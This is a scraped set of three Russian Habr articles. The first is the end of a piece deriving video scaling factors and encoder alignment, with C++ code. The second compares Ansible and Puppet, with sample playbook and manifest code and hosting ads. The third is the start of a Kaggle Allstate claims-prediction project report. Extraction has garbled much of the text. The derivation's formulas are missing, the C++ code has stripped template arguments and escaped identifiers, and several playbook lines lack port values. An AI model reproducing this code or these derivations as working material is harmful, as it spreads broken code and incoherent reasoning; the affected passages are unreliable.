Самый эффективный способ этого добиться, это требовать от источника, чтобы разрешение делилось на некоторое заданное число: `alignment`. Например, для стандартных коэффициентов {1.0, 2.0, 4.0} и требования четности для энкодера, можно легко попросить у источника`alignment=8`. Источник чуть-чуть обрежет изображения. Это приведет к незначительному искажению соотношения сторон у видео, зато сделает переключение между потоками незаметным. В итоге, входящее разрешение, кратное 8 можно спокойно делить в 1, 2 или 4 раза и получать четное разрешение, которое енкодер с радостью закодирует.
Но что делать, если заданы коэффициенты {1, 1.7, 2.3}? Минимальное целое, "делящееся" нацело на все эти коэффициенты - 391. А чтобы результат был четным, нужно вообще взять 782. Согласитесь, это весьма нагло требовать от источника выдавать разрешение, делящееся на 782. Это значит, что даже VGA (640x480) видео уже не послать вообще никак. На практике - максимально допустимое выравнивание, которое мы можем попросить должно быть ограничено, чтобы, во-первых, допускать маленькие разрешения и, во-вторых, не очень сильно искажать соотношение сторон.
Но, раз уж мы уже немного искажаем настройки пользователя, округляя входящее разрешение, то почему бы и не округлить чуть чуть коэффициенты масштабирования? Например, можно было бы взять коэффициенты {1, 1.6, 2.4} вместо {1, 1.7, 2.3} и получить необходимую делимость в 48 (сильно лучше 782). Если еще больше поменять коэффициенты, то можно получить и меньшее выравнивание.
Формулировка задачи
-------------------
Дано: 
Найти: 
При условии:
Или словами: минимизировать искажение коэффициентов и найти какое-то выравнивание А в допустимых пределах, так чтобы это значение делилось нацело на все новые коэффициенты, плюс требование по выравниванию энкодера.
Решение
-------
В задаче и так много неизвестных, так что первая мысль - это зафиксировать хоть что-то. Переменная отлично подходит на эту роль. Она может принимать лишь  значений и из предметной области получается что довольно маленькое (эвристически оно было закреплено на значении 16). Поэтому первый шаг - перебрать все возможные значениярешить задачи и выбрать то решение, которое имеет наименьшее значение целевой функции.
Следующее наблюдение - можно оптимизировать все коэффициенты масштабирования независимо друг от друга, соблюдая условие (1), ведь в целевую функцию они входят отдельными слагаемыми. Далее сфокусируемся на i-ом коэффициенте.
Поскольку в условии , то получается, что или. Потому что только рациональные числа можно домножить и поделить на целое и получить в итоге целое.
Можно потребовать, чтобы дробь была неприводимая: 
Подставим дробь в (1) и получим откуда следует, что
(запись означает: левая часть делит правую).
Тут немного теории чисел или просто логики. взаимно просто с по условию, но делит правую часть. Значит целиком содержится в оставшемся множителе или , отсюда можно записать
Далее, домножим обе части уравнения (2) на ![f]():
Подставим выражение (3) для выше:
сократим 
Раз левая часть делит правую, то можно переписать уравнение так:
Теперь вспомним выражение для в виде дроби и домножим числитель и знаменатель на  и применим (3) и (4):
Добавив к этому условие, что коэффициенты не могут быть меньше 1 (ведь растягивать изображения смысла вообще нет) мы получим:
Таким образом, из условия (1) мы получили (5) и (6), которые говорят, что искомый коэффициент должен быть представим в виде дроби у которой числитель равен , а знаменатель делиться на  и не превосходит числитель. При чем любая такая дробь нам подходит. Из (6) следует что таких дробей мало, а значит их все можно перебрать.
А можно и не перебирать. Ведь целевая функция, если рассматривать непрерывнуювыпуклая и имеет минимум, равный 0, в точке . Значит, достаточно рассмотреть 2 ближайших целых значения . Все, что левее левой точки - хуже ее, ведь она сама левее минимума выпуклой функции. Аналогично и с правой точкой. Еще надо аккуратно проверить, что эти точки положительные и удовлетворяют (6).
Итого, получаем такое решение (тут для простоты нет проверок входных данных):
```
const int kMaxAlignment = 16;
// Находит лучшее приближение scale_factor (S_i) при заданном
// выравнивании энкодера (d) и результирующем выравнивании источника (A).
// Ошибка приближения прибавляется к error_acc.
float GetApprox(int encoder_alignment, int requested_alignment,
float scale_factor, float *error_acc) {
int k = static_cast ((requested\_alignment + 0.0) /
(encoder\_alignment \* scale\_factor));
float best\_error = 1e90;
float best\_approx = 1.0;
for (int i = 0; i < 2; i++, k++) {
if (k == 0 || k \* encoder\_alignment > requested\_alignment) continue;
float approx = (requested\_alignment +0.0) / (k \* encoder\_alignment);
float error = (approx - scale\_factor) \* (approx - scale\_factor);
if (error < best\_error) {
best\_error = error;
best\_approx = approx;
}
}
\*error\_acc += best\_error;
return best\_approx;
}
// Решает задачу. Возвращает измененные коэффициенты (S'\_i)
// и результирующее выравнивание (A) в параметре requested\_alignment.
std::vector CalulateAlignmentAndScaleFactors(
int encoder\_alignment, std::vector scale\_factors,
int \*requested\_alignment) {
float best\_error = 1e90;
int best\_alignment = 1;
std::vector best\_factors;
std::vector cur\_factors;
for (int a = 1; a <= kMaxAlignment; ++a) {
float cur\_error = 0;
cur\_factors.clear();
for (float factor: scale\_factors) {
float approx = GetApprox(encoder\_alignment, a, factor, &cur\_error);
cur\_factors.push\_back(approx);
}
if (cur\_error < best\_error) {
best\_error = cur\_error;
best\_factors = cur\_factors;
best\_alignment = a;
}
}
\*requested\_alignment = best\_alignment;
return best\_factors;
}
```
Заключение
----------
Мне кажется, это хороший пример, когда программисту нужна математика. Без математических рассуждений выше совершенно непонятно, почему этот код находит лучшее решение и откуда он вообще взялся. Без формальной записи задачи вообще непонятно, как к ней подступиться.
Да, без математики еще можно убедить себя, что выданные этим кодом коэффициенты будут подходить под условие задачи (числитель делит вычисленное выравнивание, поэтому все поделиться нацело, а знаменатель дает делимость на необходимое выравнивание для энкодера). Но без цепочки рассуждений (1) => (4),(5) вообще неясно, как этот код находит оптимальное решение. | https://habr.com/ru/post/519754/ | null | ru | null |
# Ansible против Puppet
Ansible и Puppet представляют собой системы управления конфигурациями (SCM), необходимые для построения повторяющихся инфраструктур.
Ansible отличается простотой использования, имеет безагентную архитектуру (не требует установки агента/клиента на целевую систему) и YAML-подобный DSL, написана на Python и легко расширяется за счет модулей. Обычно управляет конфигурацией Linux.
Puppet имеет клиент-серверную архитектуру (периодически опрашивает сервер, чтобы внести в конфигурацию изменения, внесенные администратором сети), написана на Ruby и имеет Ruby-подобный DSL. Это приложение позволяет централизованно управлять конфигурацией ПО, установленного на нескольких компьютерах.
В статье проводится сравнение преимуществ и недостатков этих SCM.
По сравнению с 90-ми годами, в наше время системным администраторам и разработчикам приходится управлять значительно большим количеством серверов, на которых размещается намного больше приложений. Причина этого состоит в экспоненциальном росте вычислений для организаций и компаний, связанным с появлением таких новых технологий, как виртуализация и облачные вычисления.
Таким образом, такие инструменты, как Puppet и Ansible, быстро становятся необходимыми компонентами управления большим количеством серверов, например, в дата-центрах. Их называют средствами управления конфигурацией (CM) и удаленного выполнения (RE) и часто используют с инструментами обновления ПО. Эти полезнейшие приложения позволяют, например, сетевому администратору выполнять действия на нескольких серверах одновременно, развертывать несколько приложений одним щелчком мыши, что значительно упрощают настройку и обслуживание десятков, сотен или даже тысяч серверов.
### Ansible против Puppet: краткий обзор
Puppet — один из известнейших брендов на рынке CM. Он существует с 2005 года, что для инструментов CM равносильно существованию со времен зарождения человечества. Множество именитых клиентов, таких как Google, Reddit, Dell, PayPal, Oracle, лаборатории Los Alamos Labs и Стэндфордский университет, управляют своими дата-центрами с помощью Puppet. Наличие таких клиентов на борту всегда придает продукту определенный уровень доверия. Puppet также может похвастаться самым зрелым интерфейсом и работой на всех основных операционных системах -Linux, Windows, Unix и даже Mac OS X. Следуя модели, созданной различными версиями Linux, это приложение с открытым исходным кодом разработано на Ruby. Однако существует солидная, хорошо зарекомендовавшая себя компания поддержки и спонсорства PuppetLabs, предлагающая профессиональную поддержку и коммерческую корпоративную версию программного обеспечения.
Puppet также предлагает простую процедуру установки и несколько инструментов для таких задач, как быстрое развертывание на клиентских серверах. В дополнение к GUI есть CLI на основе Ruby. На самом деле для большинства продвинутых задач вам, скорее всего, придется зависеть от CLI, причем GUI является интерфейсом просмотра, управления и мониторинга. Это означает, что в дополнение к работе системного администратора вам потребуется изучить Ruby.
Вы можете подумать: «Все это звучит здорово! Есть ли какие-то минусы, или стоит пойти и купить Puppet прямо сейчас»?.. Спор вокруг использования этой SCM на специализированных форумах CM заключается в том, что Puppet, как и многие другие гиганты программного обеспечения, стала жертвой собственного успеха и размера. «Ловкий» и «проворный» – это не те слова, которые можно использовать для описания работы Puppet. Пользователи сообщают об ошибках, которые слишком долго исправляются, и игнорировании новых запросов. Существует также некоторое недовольство тем, что PuppetLabs настойчиво подталкивает своих клиентов к принятию коммерческой версии. Наконец, хотя Puppet поддерживает как чистый Ruby, так и его настроенный DSL на CLI, поддержка одного лишь Ruby является устаревшей. Это плохая новость для тех, кто изучал только Ruby, а не DSL.
Ansible обошел Puppet, захватив самую большую [долю рынка](https://www.datanyze.com/market-share/configuration-management--313) в индустрии систем управления конфигурациями — 26,5%. За ним следует Microsoft System Center CM (21,8%) и Puppet (12%).
Это также продукт с открытым исходным кодом, который был выпущен в 2012 году и с тех пор поддерживается компанией-разработчиком AnsibleWorks. Он был разработан на Python, а не на Ruby, что делает его духовно ближе к Salt (еще один новый инструмент CM), чем Puppet. Другим преимуществом Python является то, что он встроен в большинство Unix и Linux – приложений, так что SCM, написанные на этом языке, устанавливаются и работают быстрее.
Уникальный маркетинговый ход Ansible состоит именно в легком и быстром развертывании. Фактически эта система даже не использует развертываемые агенты для связи с мастер-клиеном, вместо этого все функции выполняются через SSH. Для тех конфигураций, которые не поддерживают корневой SSH, Ansible может выполнять «sudo» как root. Ansible можно запускать из CLI без использования файлов конфигурации для простых задач, таких как проверка работы службы или запуск обновлений и перезагрузок. Для более сложных задач конфигурация Ansible обрабатывается с помощью синтаксиса YAML в конфигурационных файлах, называемых «playbooks». Команды Ansible могут быть написаны практически на любом языке программирования и распространены в виде универсальных модулей JSON, что явно является преимуществом по сравнению с выбором одного конкретного языка.
Ansible стал более популярным благодаря новому подходу к традиционным задачам конфигурирования, и многие компании используют его для развертывания крупных дата-центров.
Сообщество энтузиастов Ansible напряженно работают на тем, чтобы развить свой успех, увеличивая количество поддерживаемых устройств, интегрируя лучшую поддержку Windows, улучшая экосистему и так далее.
### Ansible против Puppet: различие в установке
Различия между Ansible или Puppet становятся очевидными с момента установки систем. Поскольку они следуют различным архитектурным парадигмам, их настройка существенно отличается. Так, Ansible преследует явную цель сделать процесс настройки как можно проще, что проявляется в пользовательском опыте.
Чтобы настроить Ansible, вначале необходимо назначить один узел в качестве узла управления control node. В действительности любой из ваших узлов может быть узлом управления. Вы можете установить Ansible на этом узле с помощью последнего пакета Ansible из репозиториев пакетов вашего дистрибутива, при этом нет никакой необходимости настраивать клиентское программное обеспечение на других узлах. Просто создайте пару ключей SSH на своем узле управления, а затем скопируйте их на остальные узлы. Далее создайте файл инвентаризации для узлов Ansible — как правило, в таких ОС Linux, как Red Hat Linux, Ubuntu и Debian это происходит в /etc/ansible/hosts. Теперь вы готовы использовать Ansible для запуска PlayBook как на вашем узле управления, так и на остальной части сетевой инфраструктуры. Ansible будет использовать SSH-соединения с вашими control node для запуска управления конфигурацией на основе PlayBook.
Настройка Puppet выглядит немного сложнее, но зато в интернете есть много документации, которая поможет в трудном случае. Во-первых, вам нужно будет настроить узлы master и agent так, чтобы они имели одинаковое время и часовой пояс. Затем вам потребуется зайти на мастер-сервер с root-правами и установить серверное программное обеспечение Puppet. Далее необходимо настроить файл Puppet-мастера /etc/hosts для подключения всех управляемых клиентов, запустить службу PuppetServer и перевести ее в режим «enable» для получения клиентских подключений на порту 8140. Поскольку Puppet опирается на программное обеспечение клиентов, вам потребуется установить программные агенты Puppet на каждом из них.
Кроме того, потребуется добавить IP-адрес мастер-сервера в /etc/hosts, чтобы клиент мог к нему подключиться. Для этого вы должны запустить и включить службу Puppet agent на каждом клиенте, после чего сгенерировать SSL-сертификаты, так как эта система CM использует HTTPS для связи мастер-клиент.
В обоих случаях будет необходимо усилить безопасность сервера, чтобы исключить возможность несанкционированных подключений.
### Ansible против Puppet: масштабируемость и механизм транспортировки конфигураций
Обе SCM хорошо масштабируются, но для достижения этого используют разные механизмы транспортировки конфигураций. В действительности, независимо от того, нужно ли вам управлять несколькими сотнями или десятками тысяч узлов, существуют хитрости и стратегии, которые можно использовать на каждой платформе для удобного масштабирования до нужного уровня.
Ansible по умолчанию использует транспортный механизм «smart», который основан на доверенных сертификатах SSH. Ansible сначала проанализирует PlayBooks и определит затрагиваемые элементы инфраструктуры. Затем она откроет SSH-соединение и создаст временный каталог. После закрытия этого соединения Ansible открывает второе соединение для выполнения копирования поверх кода модуля Ansible и шаблонного кода Ansible. Ansible закроет это соединение перед открытием третьего, окончательного соединения для выполнения кода. Эта настройка будет служить большинству целей, но ее можно изменять по мере масштабирования инфраструктуры.
Первая функция, которую может использовать Ansible, называется ControlPersist, и она полагается на постоянные, сохраняемые сокеты, чтобы сократить время на обмен рукопожатиями, которые необходимы для нескольких соединений. Ansible также поддерживает «конвейеризацию» — конфигурацию, которая сокращает количество требуемых соединений с трех до одного. Наконец, Ansible можно настроить для одновременной обработки большего числа узлов инвентаризации, настроив переменную forks в конфигурации этой системы. По умолчанию это значение равно 5, но для ускорения обработки можно установить более высокое значение.
Транспортный механизм Puppet – это HTTPS, который управляется с помощью SSL-сертификатов. Один сервер Puppet обрабатывает запросы конфигурации целого списка клиентов Puppet. Каждый клиент отправляет Puppet-факты мастер-серверу вместе с запросом на каталог Puppet, после чего мастер-сервер отправляет в ответ этот каталог. Затем клиент обрабатывает каталог, сверяя каждый программный ресурс с требуемым состоянием конфигурации, указанным в каталоге. Если ресурс не находится в нужном состоянии, клиент Puppet обновит ресурс на данном компьютере и после завершения обновления отправит отчет о выполненном изменении конфигурации Puppet-серверу.
Примечательно, что модель обработки Puppet выделяет поток JRuby из пула потоков для обработки каждого входящего клиентского соединения. По мере увеличения числа узлов можно оптимизировать масштабирование Puppet, увеличив количество доступных в пуле потоков JRuby. Это можно проделать, установив значение параметра конфигурации Puppet “max-active-instances” выше, чем значение по умолчанию, которое равно 1. Как правило, это значение принимается равным количеству ядер процессора вашего компьютера, однако имейте в виду, что это потребует большего объема задействованной процессорной памяти CPU RAM. Как правило, вам также будет необходимо установить более высокий «максимальный размер кучи» для JVM вашего Puppet-сервера, чтобы гарантировать, что ваши дополнительные потоки JRuby могут быть выделены без возникновения ошибки виртуальной машины Java «out of memory». При выполнении этой настройки следует соблюдать осторожность, так как можно столкнуться с потерей производительности.
### Пример кода CM Ansible
Для повседневной работы с конфигурацией написание кода Ansible удивительно просто благодаря сочетанию двух факторов: использованию формата YAML для PlayBooks и декларативному стилю управления конфигурацией, который отсекает «острые углы». Это важно для быстрого повышения производительности команд DevOps и обеспечения управляемости вашего кода даже для сложных задач конфигурации.
Код Ansible является идемпотентным. Это означает, что вы можете безопасно запускать PlayBook для компонентов системы снова и снова, не портя свои серверы. Ansible будет изменять конфигурацию программных ресурсов только на тех серверах, где она находится за пределами желаемого состояния. Например, если для вашего PlayBook требуется установить пакет и создать на диске определенный файл конфигурации, Ansible установит только этот пакет и создаст файл конфигурации, указанный при первом запуске PlayBook на узле. Последующие запуски PlayBook автоматически оставляют пакет нетронутым до тех пор, пока не произойдет какое-либо изменение, которое удалит или изменит указанную конфигурацию файла или пакета. Это содержит ваши узлы в предсказуемом, детерминированном состоянии с очень небольшим или нулевым шансом дрейфа конфигурации.
Ниже приведен пример кода Ansible PlayBook, который устанавливает на ваши узлы веб-сервер Tomcat. Этот пример взят с официального [репозитория](https://github.com/ansible/ansible-examples/blob/master/tomcat-standalone/roles/tomcat/tasks/main.yml) Ansible examples, который вам стоит просмотреть, чтобы лучше ознакомиться с идиоматическим стилем Ansible:
```
---
- name: Install Java 1.7
yum: name=java-1.7.0-openjdk state=present
- name: add group "tomcat"
group: name=tomcat
- name: add user "tomcat"
user: name=tomcat group=tomcat home=/usr/share/tomcat createhome=no
become: True
become_method: sudo
- name: Download Tomcat
get_url: url=http://archive.apache.org/dist/tomcat/tomcat-7/v7.0.61/bin/apache-tomcat-7.0.61.tar.gz dest=/opt/apache-tomcat-7.0.61.tar.gz
- name: Extract archive
command: chdir=/usr/share /bin/tar xvf /opt/apache-tomcat-7.0.61.tar.gz -C /opt/ creates=/opt/apache-tomcat-7.0.61
- name: Symlink install directory
file: src=/opt/apache-tomcat-7.0.61 path=/usr/share/tomcat state=link
- name: Change ownership of Tomcat installation
file: path=/usr/share/tomcat/ owner=tomcat group=tomcat state=directory recurse=yes
- name: Configure Tomcat server
template: src=server.xml dest=/usr/share/tomcat/conf/
notify: restart tomcat
- name: Configure Tomcat users
template: src=tomcat-users.xml dest=/usr/share/tomcat/conf/
notify: restart tomcat
- name: Install Tomcat init script
copy: src=tomcat-initscript.sh dest=/etc/init.d/tomcat mode=0755
- name: Start Tomcat
service: name=tomcat state=started enabled=yes
- name: deploy iptables rules
template: src=iptables-save dest=/etc/sysconfig/iptables
when: "ansible_os_family == 'RedHat' and ansible_distribution_major_version == '6'"
notify: restart iptables
- name: insert firewalld rule for tomcat http port
firewalld: port=/tcp permanent=true state=enabled immediate=yes
when: "ansible_os_family == 'RedHat' and ansible_distribution_major_version == '7'"
- name: insert firewalld rule for tomcat https port
firewalld: port=/tcp permanent=true state=enabled immediate=yes
when: "ansible_os_family == 'RedHat' and ansible_distribution_major_version == '7'"
- name: wait for tomcat to start
wait_for: port=
```
Эта конкретная задача Ansible загружает и устанавливает Apache Tomcat вместе с зависимым Java JDK 1.7, а затем настраивает, запускает и обеспечивает установку Tomcat. Как видно из данного примера, файлы, управляемые Ansible, могут содержать шаблоны Jinja, что упрощает вычисление значений и делает вашу конфигурацию более гибкой. Код YAML легко читать и писать как системным администраторам, так и разработчикам. Это приводит к тому, что Ansible становится доступной системой управления конфигурацией как для продвинутых, так и для начинающих пользователей.
### Пример кода CM Puppet
Предметно-ориентированный язык Puppet основан на Ruby, но его синтаксис гораздо ближе к императивным языкам в стиле C, таким как Perl, Java и C++. Этот подход является промежуточным звеном между разработчиками, знакомыми с Ruby, и теми, кто может быть незнаком с данным языком. В результате вам может вообще не понадобится знать Ruby, чтобы изучить и продуктивно использовать Puppet DSL.
Это пример манифеста Puppet из репозитория PuppetLabs MySQL Puppet Module, который устанавливает и настраивает клиентский пакет MySQL:
```
# @summary
# Installs and configures the MySQL client.
#
# @example Install the MySQL client
# class {'::mysql::client':
# package_name => 'mysql-client',
# package_ensure => 'present',
# bindings_enable => true,
# }
#
# @param bindings_enable
# Whether to automatically install all bindings. Valid values are `true`, `false`. Default to `false`.
# @param install_options
# Array of install options for managed package resources. You must pass the appropriate options for the package manager.
# @param package_ensure
# Whether the MySQL package should be present, absent, or a specific version. Valid values are 'present', 'absent', or 'x.y.z'.
# @param package_manage
# Whether to manage the MySQL client package. Defaults to `true`.
# @param package_name
# The name of the MySQL client package to install.
#
class mysql::client (
$bindings_enable = $mysql::params::bindings_enable,
$install_options = undef,
$package_ensure = $mysql::params::client_package_ensure,
$package_manage = $mysql::params::client_package_manage,
$package_name = $mysql::params::client_package_name,
) inherits mysql::params {
include '::mysql::client::install'
if $bindings_enable {
class { 'mysql::bindings':
java_enable => true,
perl_enable => true,
php_enable => true,
python_enable => true,
ruby_enable => true,
}
}
# Anchor pattern workaround to avoid resources of mysql::client::install to
# "float off" outside mysql::client
anchor { 'mysql::client::start': }
-> Class['mysql::client::install']
-> anchor { 'mysql::client::end': }
}
```
Важным преимуществом Puppet является то, что, в отличие от перечисленных выше императивных языков программирования, Puppet DSL является декларативным, в некотором смысле похожим на XML, а также на код YAML из приведенного выше примера кода Ansible. Декларативный подход как Puppet, так и Ansible действительно прослеживается в обоих примерах кода. С точки зрения кодирования, они похожи и ближе друг другу, чем такие инструменты, как Chef. Тем не менее, декларативный язык Puppet также предоставляет Ruby-подобные конструкции, такие как условные выражения и итерации, что опять же является компромиссным решением для пользователей Ruby и тех, кто не владеет данным языком.
### Ansible против Puppet: простота использования
Для команды разработчиков простота использования должна быть важной частью оценки SCM. Учитывая, что разработчики Ansible сосредотачивают массу усилий на простоте использования системы, в этом она не имеет конкурентов. Настройка, программирование и управление узлами предоставляют очень простой интерфейс как инженерам-разработчикам, так и системным администраторам.
Это не означает, что Puppet трудно пользоваться, просто эта система ведет себя уверенно, пока вы следуете предлагаемому ей способу автоматизации своей инфраструктуры. В этой области Puppet довольно сильна, явно моделируя каждый ресурс и предоставляя пользователям модули со стандартным поведением, которые эффективно использовать в ваших манифестах.
С точки зрения обучаемости пользователей обе платформы просты в использовании, но Ansible имеет небольшое преимущество. Легко добиться декларативного стиля YAML, так что код Ansible никогда не бывает слишком сложным. Тем временем Puppet пришла к осознанию некоторых проблем, связанных с объединением данных и кода в одних и тех же исходных файлах. Это привело к появлению Puppet Hiera, решения для хранения данных, которое использует формат YAML для хранения пар «ключ-значение» конфигурационных данных. Hiera проходит долгий путь к упрощению и оптимизации опыта Puppet DevOps. Формат YAML оказался довольно популярным для управления конфигурациями, причем Salt от SaltStack также использует этот формат.
Обе SCM имеют возможности для проверки и тестирования вашего СM, от проверки синтаксиса до интеграции кода «infrastructure-as-code».
### Ansible против Puppet: расходы на приобретение лицензий и внедрение
Как инструменты с открытым исходным кодом, Ansible и Puppet имеют много общего в своей лицензионной политике.
Релиз Ansible с открытым исходным кодом доступен совершенно бесплатно. Компаниям, которым требуется больше гарантий безопасности, стабильности и надежности, предлагается перейти на Ansible Engine, продукт корпоративного класса, который предоставляется в Red Hat Linux. Стоимость лицензии Ansible Engine обычно составляет от $ 47,50 до $ 70 в год на узел и зависит от предпочтительной настройки.
Если вам нужна техническая поддержка с возможностью быстрого устранения неполадок, стоит использовать корпоративную версию. Инструмент управления крупным предприятием Ansible Tower доступен в виде пакета услуг и предоставляет вашей компании больше возможностей в области обучения, управления и планирования заданий с помощью панели управления с графическим интерфейсом.
Как и Ansible, релиз Puppet с открытым исходным кодом доступен бесплатно. Для получения дополнительных корпоративных функций и технической поддержки, организации могут перейти на Puppet Enterprise, стоимость которого составляет от $112 до $199 в год на 1 узел. Puppet Enterprise предлагает пакет из нескольких инструментов, включая отчетность и мониторинга состояния инфраструктуры предприятия.
### Ansible против Puppet: сообщество
Puppet, выпущенный в 2005 году, является более старым инструментом DevOps, поэтому у него было больше времени для создания собственного сообщества и базы пользователей. Тем не менее, Ansible, запущенный в 2012 году, благодаря своему новому подходу, смог привлечь еще большую аудиторию и создать очень динамичное сообщество разработчиков-энтузиастов и пользователей. В число пользователей Puppet входят такие компании, как Uber, Salesforce и Paypal, а сообщество Ansible включает в себя такие компании, как Digital Ocean, 9GAG и TypeForm.
Если сравнить такой важный показатель развития продуктов open source, как число вкладчиков – участников разработки на GitHub, то Ansible с более чем 4800 вкладчиками намного превосходит Puppet с его 527 участниками разработки продукта. Развитие развития Ansible за последние годы происходило настолько стремительными темпами, что породило создание отдельного «галактического» репозитория [Ansible Galaxy](https://galaxy.ansible.com/). Это означает, что сообщество Ansible стремиться делиться своим кодом, тем самым внося свой вклад в дальнейшее развитие продукта.
Тем временем сообщество Puppet, развивающее более медленно и стабильно, создало инфраструктуру, чтобы облегчить поиск решений для удовлетворения ваших потребностей в этой SCM. Puppet Forge предоставляет модули для выполнения общих задач управления конфигурацией для сообщества Puppet.
Обе системы имеют первоклассные инструменты для контроля жизненного цикла проекта управления конфигурацией через командную строку. И Puppet, и Ansible хорошо интегрируются с другими широко используемыми системами DevOps, такими как Docker, Kubernetes и Jenkins и облачными вычислительными платформами AWS и Azure.
### Ansible против Puppet: что лучше?
В этом вопросе выбор остается только за вами. Декларативный стиль как Ansible, так и Puppet означает, что эти инструменты имеют намного больше общего, чем остальные системы управления конфигурацией. Однако, чтобы сделать оптимальный выбор, нужно обратить особое внимание на то, как потребности вашей команды сочетаются с дизайном и преимуществами конкретной SCM.
Ansible лучше подходит тем, кто интересуется конфигурацией в стиле YAML и разделяет философию Ansible – быть максимально простой, при этом достаточно быстро и параллельно управлять большим пулом машин. Кроме того, эта философия направлена на использование существующих функций SSH вместо создания пользовательских агентов.
Puppet больше подходит командам, предпочитающим DSL, который моделирует системные ресурсы последовательным, повторяющимся образом. Это именно то, что выполняет Puppet DSL вместе с целой экосистемой инструментов для того, чтобы сделать работу крупных команд предсказуемой и легкой.
Если вы точно знаете, какие принципы системы управления конфигурацией лучше всего отвечают вашим потребностям, выбор между Puppet и Ansible не составит для вас никаких проблем.
### Выводы
Чтобы облегчить вам выбор, предлагаем ознакомиться с основными преимуществами и недостатками обеих систем.
### Немного рекламы :)
Спасибо, что остаётесь с нами. Вам нравятся наши статьи? Хотите видеть больше интересных материалов? Поддержите нас, оформив заказ или порекомендовав знакомым, [облачные VPS для разработчиков от $4.99](https://ua-hosting.company/cloudvps/nl), **уникальный аналог entry-level серверов, который был придуман нами для Вас:** [Вся правда о VPS (KVM) E5-2697 v3 (6 Cores) 10GB DDR4 480GB SSD 1Gbps от $19 или как правильно делить сервер?](https://habr.com/company/ua-hosting/blog/347386/) (доступны варианты с RAID1 и RAID10, до 24 ядер и до 40GB DDR4).
**Dell R730xd в 2 раза дешевле в дата-центре Equinix Tier IV в Амстердаме?** Только у нас **[2 х Intel TetraDeca-Core Xeon 2x E5-2697v3 2.6GHz 14C 64GB DDR4 4x960GB SSD 1Gbps 100 ТВ от $199](https://ua-hosting.company/serversnl) в Нидерландах! **Dell R420 — 2x E5-2430 2.2Ghz 6C 128GB DDR3 2x960GB SSD 1Gbps 100TB — от $99!**** Читайте о том [Как построить инфраструктуру корп. класса c применением серверов Dell R730xd Е5-2650 v4 стоимостью 9000 евро за копейки?](https://habr.com/company/ua-hosting/blog/329618/) | https://habr.com/ru/post/490502/ | null | ru | null |
# Предсказание тяжести страховых требований для компании Allstate. Дипломный проект нашего выпускника
Хабр, привет! Наш выпускник 4-го набора программы [«Специалист по большим данным»](http://newprolab.com/bigdata/?utm_source=habr&utm_campaign=danilyuk) Кирилл Данилюк поделился своим исследованием, которое он выполнил в качестве финального проекта в одном из курсов. Вся документация и описание есть на его [гитхабе](https://github.com/dnkirill/allstate_capstone). Здесь же мы приводим перевод его отчета. Осторожно — лонгрид.
**Отчет по дипломному проекту «Предсказание тяжести страховых требований для компании Allstate»**
-------------------------------------------------------------------------------------------------
### **Часть 1. Описание проекта**
#### **Общий обзор проекта**
Многие люди, работающие в сферах, связанных с данными, слышали о Kaggle – платформе для проведения соревнований по наукам о данных. Сегодня на Kaggle представлены [более 600 тыс. data scientist'ов](https://www.kaggle.com/host/business) и множество широко известных компаний. Компания описывает свою проблему, задает метрики качества, публикует набор данных, который мог бы помочь ее решить, а участники находят оригинальные способы решения поставленной компанией задачи.
Данное соревнование Kaggle предоставлено компанией Allstate – крупнейшей публичной компанией США в сфере персонального страхования жизни и имущества. В данный момент Allstate занимается разработкой автоматических методов предсказания стоимости (тяжести) страховых требований и обратилась к сообществу Kaggle с просьбой продемонстрировать свежие идеи и новые подходы к решению этой проблемы.
Компания стремится улучшить качество своих услуг по обработке страховых требований и опубликовала набор данных о произошедших в домашних хозяйствах несчастных случаях (каждое домашнее хозяйство представлено вектором анонимизированных признаков) с указанием численной оценки стоимости страхового требования. Наша задача состояла в том, чтобы предсказать тяжесть возможного страхового требования для нового домохозяйства.
На Kaggle также доступны еще несколько связанных с данной задачей наборов данных:
• [Соревнование Allstate по предсказанию страховых требований](https://www.kaggle.com/c/ClaimPredictionChallenge) — более раннее соревнование Allstate, целью которого было предсказать страховые платежи на основе характеристик застрахованного транспортного средства. Набор данных этого соревнования предоставляет возможность погрузиться в область страхования.
• [Соревнование по оценке потерь от огня](https://www.kaggle.com/c/liberty-mutual-fire-peril) – соревнование, проведенное Liberty Mutual Group и направленное на предсказание ожидаемых потерь от огня для формирования условий страховых контрактов. Это еще один пример набора данных из сферы страхования, который помог нам получить понимание подходов к решению задач предсказания в страховой индустрии.
Отдельно отмечу, что исходный набор данных является высоко анонимным (как в части названий признаков, так и в части значений). Этот аспект усложняет как понимание значения признаков, так и затрудняет обогащение набора данных из внешних источников. Участники соревнования по-разному пробовали обогатить и интерпретировать исходные данные, однако успех их попыток остаётся спорным. С другой стороны, в данном наборе данных, по всей видимости, отсутствует [утечка данных](https://www.kaggle.com/wiki/Leakage), которая возникает, когда в тренировочных данных остается дополнительная информация. Такая информация может сильно коррелировать с целевой переменной и приводить к необоснованно точным предсказаниям. За последнее время от таких утечек пострадало достаточно большое число соревнований Kaggle.
#### **Постановка задачи**
В нашем распоряжении находится набор данных, содержащий записи по страховым требованиям клиентов компании Allstate. Каждая запись содержит как категориальные, так и непрерывные признаки. Целевая переменная представляет собой численную оценку потерь, вызванных данным страховым требованием. Все признаки сделаны максимально анонимными: мы не знаем ни настоящих названий признаков, ни их истинных значений.
Наша цель – построить модель, которая сможет правильно предсказать будущие потери на основе заданных значений признаков. Очевидно, что это задача регрессии: целевая переменная численная. Также это задача обучения с учителем: целевая переменная явно определена в тренировочном наборе данных, и нам необходимо получить ее значения для каждой записи тестового набора.
Компания Allstate проделала большую работу по очистке и предобработке данных: предоставленный набор данных в очень высокой степени очищен и (после небольшой дополнительной обработки) может быть передан большому числу алгоритмов обучения с учителем. Как мы увидим в части отчета, посвященной исследованию данных, задание компании Allstate особо не позволяет генерировать новые признаки или заниматься препроцессингом имеющихся фич. С другой стороны, этот датасет подталкивает к использованию и тестированию различных алгоритмов машинного обучения и ансамблей — как раз то, что нужно для дипломного проекта.
Я применил следующий подход к проекту Allstate:
1. Исследовать набор данных, понять значение данных, признаков и целевой переменной, и найти в данных простые взаимосвязи. Этот этап выполнен в файле [Data Discovery notebook.](https://github.com/dnkirill/allstate_capstone/blob/master/part1_data_discovery.ipynb)
2. Произвести необходимую предобработку данных и обучить несколько различных алгоритмов машинного обучения (XGBoost и многослойный перцептрон). Получить базовые результаты. Эти задачи решены в файлах [XGBoost](https://github.com/dnkirill/allstate_capstone/blob/master/part2_xgboost.ipynb) и [MLP](https://github.com/dnkirill/allstate_capstone/blob/master/part3_mlp.ipynb).
3. Настроить модели и добиться заметного улучшения результатов по каждой из них. Этот этап также осуществлен в файлах XGBoost и MLP.
